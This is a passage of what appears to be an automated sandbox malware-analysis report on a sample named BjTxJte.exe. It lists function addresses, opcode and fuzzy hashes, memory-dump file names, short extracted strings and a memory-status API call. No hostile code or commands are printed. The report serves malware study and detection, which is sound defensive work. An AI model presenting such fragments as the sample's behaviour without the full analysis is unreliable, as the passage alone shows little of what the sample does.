Instruction ID: 85813c2b4424df87797fdd5beae67337a7c68b26f7881a6eaf10ae3b97b8a192
Opcode Fuzzy Hash: 64419e0b0af577ae63d5636b123bcf466383a932bdf23a18d09e643f0c19fc19
Instruction Fuzzy Hash: 27012B310043849AE7219F99CD88B67BF9CEF45328F18C52EEF090E297C2399805CA71

Uniqueness

Uniqueness Score: -1.00%

Function 013FD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225695976.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_13fd000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07e5c14d1ff73eaf9f56895ede8baf684761ad35fdac66da282ecd8a0726de9d
Instruction ID: 3ff9634df26b8fefc2262882ba27ce7371ad3c04896884480997f59405475b20
Opcode Fuzzy Hash: 07e5c14d1ff73eaf9f56895ede8baf684761ad35fdac66da282ecd8a0726de9d
Instruction Fuzzy Hash: 66F062714043849EE7119E1AC888B62FF98EF95634F18C45AEE484E297C2799845CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjTxJte.exePID: 7176, Parent PID: 7928COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	6

Executed Functions

Function 06F43438 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 06F43B90
$jq, xrefs: 06F43B43
$jq, xrefs: 06F43B6C
$jq, xrefs: 06F43B37
$jq, xrefs: 06F43B84
$jq, xrefs: 06F43B60

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-3356825164
Opcode ID: 4956c85a5527b8b0f89c214b2a3bd3089dfcbe5dc56f881b56f67405c138c744
Instruction ID: 8eb82619f281f8e34a9f96f1ed6bf673a7727b6124e77768c5ee5a22f609022c
Opcode Fuzzy Hash: 4956c85a5527b8b0f89c214b2a3bd3089dfcbe5dc56f881b56f67405c138c744
Instruction Fuzzy Hash: 0D323F31E1065A8FDB14EF65D89069DF7B2FF89300F20C669D409AB664EB30AD85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F47D50 Relevance: 3.0, Strings: 2, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 06F482F7
$jq, xrefs: 06F482EB

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq
API String ID: 0-3720491408
Opcode ID: 36a3ad5b805e62391b3f47a1b33eef4392d5b8700e87f221a5b0e3aa1cf81287
Instruction ID: dd31fe0674ffe797cde079028b45dc5dbaee11b219c45e90e75b792dd8aa50ff
Opcode Fuzzy Hash: 36a3ad5b805e62391b3f47a1b33eef4392d5b8700e87f221a5b0e3aa1cf81287
Instruction Fuzzy Hash: 0502B030F002058FDB54EB69E690AAEBBB2FF84350F148529E415EB795DB35EC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F45570 Relevance: 1.8, Strings: 1, Instructions: 598
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06F45C66

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 549d5573c33285ee3446106939a164b31d0e32cb42b2e9f872d722a066e5397a
Instruction ID: 721d8ed374d8852ecf4b6a50bef687876afea98610e0a6efb776086126a791df
Opcode Fuzzy Hash: 549d5573c33285ee3446106939a164b31d0e32cb42b2e9f872d722a066e5397a
Instruction Fuzzy Hash: 1322DF71E002199FDF60FBA4C5806AEBBB2FF89320F20856AD515AB794DB35DC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F465D0 Relevance: .8, Instructions: 824COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d584586b4bdac84ae7504c08b2cb86fe69f4e1e835a5604086580c67832d0512
Instruction ID: 9b92c3cdb87725e37cdcded9ba66f14430ce612b9f7bf5f1154622c8809bcb17
Opcode Fuzzy Hash: d584586b4bdac84ae7504c08b2cb86fe69f4e1e835a5604086580c67832d0512
Instruction Fuzzy Hash: 78629B34E002058FDB54EB68D684BADBBF2EF89314F248429E406DB795DB75EC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F4C140 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5782ae8589bc67c66baa35856e406a32d769b59970cd0e8160b580c0e1e4ff63
Instruction ID: ab1ffbcede40608475561148a7f278ed83cb2e374903004ec51282331acc33af
Opcode Fuzzy Hash: 5782ae8589bc67c66baa35856e406a32d769b59970cd0e8160b580c0e1e4ff63
Instruction Fuzzy Hash: 2D327E34F012099FDB54EB69E980AADBBB6FF88310F109529E405EB755DB39EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F4B1F0 Relevance: .6, Instructions: 578COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149cb77f8a005ab3777ffd9b58a28f9a1f045f4fb492a457324c498e5ab435b9
Instruction ID: 74a6c7c1f8344a61a015635f1861d3952bb66a663b21074dcd78618e039090e6
Opcode Fuzzy Hash: 149cb77f8a005ab3777ffd9b58a28f9a1f045f4fb492a457324c498e5ab435b9
Instruction Fuzzy Hash: 42228330E101099FEF64EF69D5807AEBBB6FB85310F208526E405DB796DA39DC81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06F4AC98 Relevance: 10.4, Strings: 8, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 06F4ADB9
$jq, xrefs: 06F4AE18
$jq, xrefs: 06F4AE70
$jq, xrefs: 06F4AE0C
$jq, xrefs: 06F4AE3B
$jq, xrefs: 06F4AE47
$jq, xrefs: 06F4ADC5
$jq, xrefs: 06F4AE64

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-666546452
Opcode ID: 91d8da94bc29cc684c50f2b12d9efe7acbfa8a434795d7d7f3f604d3a390476d
Instruction ID: 2ae62d5a7ddf610b1e682cbb06793380c784586c80aeb51bd6b189e17b4087a7
Opcode Fuzzy Hash: 91d8da94bc29cc684c50f2b12d9efe7acbfa8a434795d7d7f3f604d3a390476d
Instruction Fuzzy Hash: FDE1A130E402098FDB65EF69D9806AEBBB6FF85300F208529D815EB759DB34DC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F4B610 Relevance: 8.0, Strings: 6, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 06F4BB59
$jq, xrefs: 06F4BBCD
$jq, xrefs: 06F4BB99
$jq, xrefs: 06F4BB65
$jq, xrefs: 06F4BBC1
$jq, xrefs: 06F4BB8D

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-3356825164
Opcode ID: d2f7b8fbffe2df637fac668d10d57d91d14d40cadf5696b6f6cbaff0f6693a4a
Instruction ID: 8a400dba022f639d1d7186d83a49be65bae9842978e5ba4998ba3529be74771c
Opcode Fuzzy Hash: d2f7b8fbffe2df637fac668d10d57d91d14d40cadf5696b6f6cbaff0f6693a4a
Instruction Fuzzy Hash: 98024C30E1020A8FDBA4EF68D580AADBBB6FF85310F10856AD415DBB56DB35EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06F49120 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 06F49190
$jq, xrefs: 06F491D7
$jq, xrefs: 06F4919C
$jq, xrefs: 06F491CB

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: dc0f4742fa95b4e1efb696d3389aa74e837ed1e17076b3157293bb883742db0d
Instruction ID: 8b5662637d6460711e8a416551954a91c20eafef8eda06626564f61968f20f71
Opcode Fuzzy Hash: dc0f4742fa95b4e1efb696d3389aa74e837ed1e17076b3157293bb883742db0d
Instruction Fuzzy Hash: 0A914F30F0020A8FDF94DB65D990BAFB7B6FFC4200F108569D809EB799EA749D458B91

Uniqueness

Uniqueness Score: -1.00%

Function 06F4CF08 Relevance: 4.6, Strings: 3, Instructions: 802
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 06F4D313
$jq, xrefs: 06F4D2FF
$jq, xrefs: 06F4D307

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq
API String ID: 0-3696375380
Opcode ID: 547ac2b7c9ea2b780b6bcb4b0047df9a6a6755724f6a324787b7242d1bf60800
Instruction ID: cbef9a3f316ec314f7b53301a41fff3aa69c7b3ee447680f7da5e65a3680519b
Opcode Fuzzy Hash: 547ac2b7c9ea2b780b6bcb4b0047df9a6a6755724f6a324787b7242d1bf60800
Instruction Fuzzy Hash: 7D626230A006068FDB55EF68E690A6EBBB6FF84310F24856DD0059F769DB75EC46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06F44B40 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Ooq, xrefs: 06F44CF7
foq, xrefs: 06F4524D
XPoq, xrefs: 06F44C6D

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: foq$XPoq$\Ooq
API String ID: 0-3137531485
Opcode ID: 6f625e8d220f48d695c18bf5871d61ae452c9c7e633c89d9ae85c3c2e88eaa40
Instruction ID: 5ab16f70b901fb4c2b3e78d785d69f6f04383db227e886d4e472e1b8ee4bae84
Opcode Fuzzy Hash: 6f625e8d220f48d695c18bf5871d61ae452c9c7e633c89d9ae85c3c2e88eaa40
Instruction Fuzzy Hash: F1617E71F002099FEF54AFA5C9547AEBAF6FF88710F208429E106AB394DB758C45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06F49110 Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 06F49190
$jq, xrefs: 06F491CB

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq$$jq
API String ID: 0-3720491408
Opcode ID: dc1963bca5a9fc3000f33acf2bbbd92dfbcab8cb94648eac33458779c83059bd
Instruction ID: 47b7ad18020eca4c626a21384c66dcb33d3102a37ea0dd0a66d0550bde9f2bf8
Opcode Fuzzy Hash: dc1963bca5a9fc3000f33acf2bbbd92dfbcab8cb94648eac33458779c83059bd
Instruction Fuzzy Hash: 04515030F001059FDF94DB69E990B6F7BFAEFC8250F108469D80ADB399EA759C418B91

Uniqueness

Uniqueness Score: -1.00%

Function 01E7EF2C Relevance: 1.6, APIs: 1, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 01E7EFCF

Memory Dump Source

Source File: 00000014.00000002.3282236828.0000000001E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1e70000_BjTxJte.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 5ebd57e95841b8fa04d687a5322af3215920baf5745794ae62d0d1e215561b8e
Instruction ID: 879a1e926db2e953f6d6d99cb085d19e4feec716a5a307fa962598ae697b3926
Opcode Fuzzy Hash: 5ebd57e95841b8fa04d687a5322af3215920baf5745794ae62d0d1e215561b8e
Instruction Fuzzy Hash: 44218971C042599FDB24DFAAD8046EEBFF4AF48310F1085AAE808A7250D7789980CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 01E7EF68 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 01E7EFCF

Memory Dump Source

Source File: 00000014.00000002.3282236828.0000000001E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1e70000_BjTxJte.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 031968acf150704e84bb381e27ed0f3b052a6b0032be9c3d0c45175ffc334c00
Instruction ID: aa06bce388f55b66d0de874792f5669cd3bd82f8590e23528f3442a36778f7a1
Opcode Fuzzy Hash: 031968acf150704e84bb381e27ed0f3b052a6b0032be9c3d0c45175ffc334c00
Instruction Fuzzy Hash: C3111FB1C0065A9BDB10DFAAC444A9EFBF4AF48320F10816AE818A7240D778A940CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 06F44B31 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

XPoq, xrefs: 06F44C6D

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: XPoq
API String ID: 0-2250694691
Opcode ID: 46d2473dfe0e2b297e121f7e9952fe49c6bf345c577533fbab84d666132e9335
Instruction ID: 5d9cfcdb3466cb2d8978019e811ebf995530d1da9d80722307ce715798784aa9
Opcode Fuzzy Hash: 46d2473dfe0e2b297e121f7e9952fe49c6bf345c577533fbab84d666132e9335
Instruction Fuzzy Hash: F9418E70F002089FDB44AFA5C914BAEBBF7FF88700F208129E105AB394DA758C05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F4DA7D Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

PHjq, xrefs: 06F4DBD9

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: PHjq
API String ID: 0-751881793
Opcode ID: e0d56e9338ab6c08abb63383d4d781dd9d61403d5dc21aa244a348a00cee846d
Instruction ID: 5e66f7089e33d742fb0dccf7512d89fbf0d57be9c598cc8832622ac4b4067ab8
Opcode Fuzzy Hash: e0d56e9338ab6c08abb63383d4d781dd9d61403d5dc21aa244a348a00cee846d
Instruction Fuzzy Hash: 01419030E002099FDF65EF64D98469EBFB6FF85300F208529E401EB640EB74D846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06F421C8 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PHjq, xrefs: 06F42303

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: PHjq
API String ID: 0-751881793
Opcode ID: 631dd87bffa8dfddc609ca7624d2027003cddcbd86bc73d4d94e5a24e3562798
Instruction ID: 043863592b6217b13a2878fef6ad247132c7da33d69966ab735a7637982a6d76
Opcode Fuzzy Hash: 631dd87bffa8dfddc609ca7624d2027003cddcbd86bc73d4d94e5a24e3562798
Instruction Fuzzy Hash: C131BE31B002058FEB58AB74D65466E7EA6AF89210F248538E406DB395DE35DE06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06F482A0 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

$jq, xrefs: 06F482EB

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID: $jq
API String ID: 0-2886413773
Opcode ID: af8776f40baf0f2321f5714c01b70d0e4f0b7b71fbfe6124a548816590d39f09
Instruction ID: e86d676c5844ff67dbc06b381be8192ec61beece9b6ff331e2c28d9d206bcbca
Opcode Fuzzy Hash: af8776f40baf0f2321f5714c01b70d0e4f0b7b71fbfe6124a548816590d39f09
Instruction Fuzzy Hash: 63F0AF32E00201CFEF68AE55FA827BC7FA6EB41394F144069D915CB641DB3ADE05C790

Uniqueness

Uniqueness Score: -1.00%

Function 06F44270 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11949f31b5d35d025da6241e02bf8a53bc8002229f8f461efd12841773fa61cc
Instruction ID: a6b148ae77a6dc86c62cc8ea28c19a84e4b5de5f0d879484706d222eeba3e4dc
Opcode Fuzzy Hash: 11949f31b5d35d025da6241e02bf8a53bc8002229f8f461efd12841773fa61cc
Instruction Fuzzy Hash: CC813C31B002099BDF54DBB9D5947AEBBF6EF89300F108529E40AEB755EA34DC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 06F461C8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d978a3c12d4d70dd6b95f2e61de64b2a9fb923bf6183f1108e03ecebe6f37e
Instruction ID: 26a7232169bfb4ce8c42d0b2628ea475cfe0a683bf655eb12edac73d8ba0b4a5
Opcode Fuzzy Hash: 01d978a3c12d4d70dd6b95f2e61de64b2a9fb923bf6183f1108e03ecebe6f37e
Instruction Fuzzy Hash: 5261B171F001214BDF54AA7ED88066EBADBEFD5620B154039E80ADB378DEB5DD0287D1

Uniqueness

Uniqueness Score: -1.00%

Function 06F44594 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1e3564c38410a960cdcd73f3b1494fff9c27dbbfba8070459f8ff4df3bac92c
Instruction ID: 8bfce4d2a18215efc9544533ce11d6574dc4d51298613156585adfb292d685c0
Opcode Fuzzy Hash: d1e3564c38410a960cdcd73f3b1494fff9c27dbbfba8070459f8ff4df3bac92c
Instruction Fuzzy Hash: 1B914D30E002198FDF60DF68C850B9DBBB1FF99300F208699D449BB295DB70AA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06F445A8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17aef25b75ac207f0d52e00ded5446f2086a94092214d1f3386cd1ae6b584943
Instruction ID: 3cc4bc0c70f9e949ae55717dc89da64b91fe9fdf0761924af1bef80ff10ce385
Opcode Fuzzy Hash: 17aef25b75ac207f0d52e00ded5446f2086a94092214d1f3386cd1ae6b584943
Instruction Fuzzy Hash: 9E913D70E1061A8BDF60DF68C850B9DB7B1FF89310F208699D549BB395EB70A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06F4EEE0 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ba1a27e1bd1994c5de167cce4d334f8db07a1b586c2d27e5a682ff6b38f401a
Instruction ID: 8e50b7c2ef63989402accb99fe5578978414d1b1a67f38dd16508960ce5b41ee
Opcode Fuzzy Hash: 8ba1a27e1bd1994c5de167cce4d334f8db07a1b586c2d27e5a682ff6b38f401a
Instruction Fuzzy Hash: 9A710A71E012099FDB54EFA9D9809ADBBF6FF84310F248529E019AB755DB30EC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06F4EEF0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fafb233ca18df6b5491c4515834c257a8cd9ddc84512dd7463bbda3868fb667
Instruction ID: 861dca9823e84270289df90101c91927cf94e2c192512214c32342cd43cdacf4
Opcode Fuzzy Hash: 8fafb233ca18df6b5491c4515834c257a8cd9ddc84512dd7463bbda3868fb667
Instruction Fuzzy Hash: A9710A71E012099FDB54EFA9D98099DBBF6FF84310F248429D419AB765DB30EC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06F4FC49 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c89e43d34ba8d9b45747c27d35a6022846e6b574d2eaf7ebf081949769a7da81
Instruction ID: 6e16451864a72d4e4cba09884b9d4dfb75626bd37d9107b2eefc919a51a51c08
Opcode Fuzzy Hash: c89e43d34ba8d9b45747c27d35a6022846e6b574d2eaf7ebf081949769a7da81
Instruction Fuzzy Hash: DE51DF35E021099FDF64AB78E8946AEBBB2FFC4211F10882AE10AD7650DB358845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06F4F9F7 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7a914cbfbaadad9806de1fe2e3fe6a774cdee2380a867e2ba67a427572ef64e
Instruction ID: a041500659baf54a2dc2e56416dc1301fbdb4c99a6b3d53b00e23748e6986149
Opcode Fuzzy Hash: d7a914cbfbaadad9806de1fe2e3fe6a774cdee2380a867e2ba67a427572ef64e
Instruction Fuzzy Hash: 4851B5B0F112055FEF64666CE95477F2A5EDBC9310F20482EE90ED77A5C92DCC4187A2

Uniqueness

Uniqueness Score: -1.00%

Function 06F4FA08 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a4cf9a3a5a8c0d08995c96bad7687131aad648ff064cde3f73e2e063c94d778
Instruction ID: cf3fcd47793f82f23cbdc3e9525cdb036a0898713f60810d733539eeaf637083
Opcode Fuzzy Hash: 8a4cf9a3a5a8c0d08995c96bad7687131aad648ff064cde3f73e2e063c94d778
Instruction Fuzzy Hash: E651A2B0F112059BFF64666DE95477F2A5EDBC9310F20482EE90ED37A5C96DCC4183A2

Uniqueness

Uniqueness Score: -1.00%

Function 06F453E8 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76bc8dec17de809370b7d9292c1bff0f26435ad532e4b375890a55e10637d214
Instruction ID: 4d77cfeb387b6d59fc00ca703b4c22ba00a66145fe4d3b1956235f3c02037001
Opcode Fuzzy Hash: 76bc8dec17de809370b7d9292c1bff0f26435ad532e4b375890a55e10637d214
Instruction Fuzzy Hash: 73418271E006098FDF60EEA9D880AAFFBB2FB85310F10492AE115D7A50D731E855CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06F43E78 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2b11f378076257edeebeb0010bb518c1b602022bd044bdaf69c4abc32ff9e01
Instruction ID: 397be194bdc0fb01f1bfdf1424f739ed8bf83ef74f5ec22dc2120d95a8bf74fb
Opcode Fuzzy Hash: e2b11f378076257edeebeb0010bb518c1b602022bd044bdaf69c4abc32ff9e01
Instruction Fuzzy Hash: 3141B376E012449FDB11EF6AD880BEEBFB4EB49320F148166E415EB691D3789C44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06F4D930 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 991624f9d126b30d3d76ff98752e749275295775889be5d85454ca73f969e36a
Instruction ID: c89f94ad25b6b458b2868dd15d84183de6faafe3b498e1c6132ee9f6985c8ea2
Opcode Fuzzy Hash: 991624f9d126b30d3d76ff98752e749275295775889be5d85454ca73f969e36a
Instruction Fuzzy Hash: 4731B230E1020A9BCF14DF65D990A9EBFB6FF85300F108929E405EB754EBB5E946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F42078 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3332388584.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6f40000_BjTxJte.jbxd
